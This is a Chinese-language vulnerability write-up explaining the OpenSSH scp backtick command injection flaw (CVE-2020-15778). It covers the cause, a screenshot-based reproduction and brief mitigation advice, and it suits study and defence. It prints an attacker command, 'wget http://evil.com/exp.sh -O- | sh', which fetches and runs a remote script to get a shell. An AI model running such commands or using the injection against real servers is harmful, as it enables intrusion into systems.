[应用漏洞]OpenSSH scp命令注入漏洞(CVE-2020-15778)

一、漏洞简介

该漏洞发生于 OpenSSH <= 8.3p1 系统,即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。

利用条件:知道目标的ssh密码

二、漏洞原理

scp是 secure copy的缩写, scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录。

scp格式为:

scp SourceFile user@host:directory/TargetFile
scp [参数] [原路径] [目标路径]

scp命令在执行时,会使用”-t“参数来获取存储传入文件的路径,但是未对传入的文件路径进行检测防护:

[应用漏洞]OpenSSH scp命令注入漏洞(CVE-2020-15778)_第1张图片

使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。

三、漏洞复现

首先,我们向目标机器上传文件。如图,需要输入密码,因此我要重申,这次漏洞还是有点鸡肋。

[应用漏洞]OpenSSH scp命令注入漏洞(CVE-2020-15778)_第2张图片

接着,执行带有payload的scp命令,payload的作用是在目标机器上生成一个sh文件:

查看文件,可以看到创建成功:

[应用漏洞]OpenSSH scp命令注入漏洞(CVE-2020-15778)_第3张图片

这个漏洞可能适用于远程服务器禁用了ssh登录,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。那么攻击者可以使用下列命令获取网站的shell:

wget http://evil.com/exp.sh -O- | sh

四、漏洞防御

先确保ssh密码没有泄露,等一波openssh的新版本吧 

 

你可能感兴趣的:(剑在手,天下走)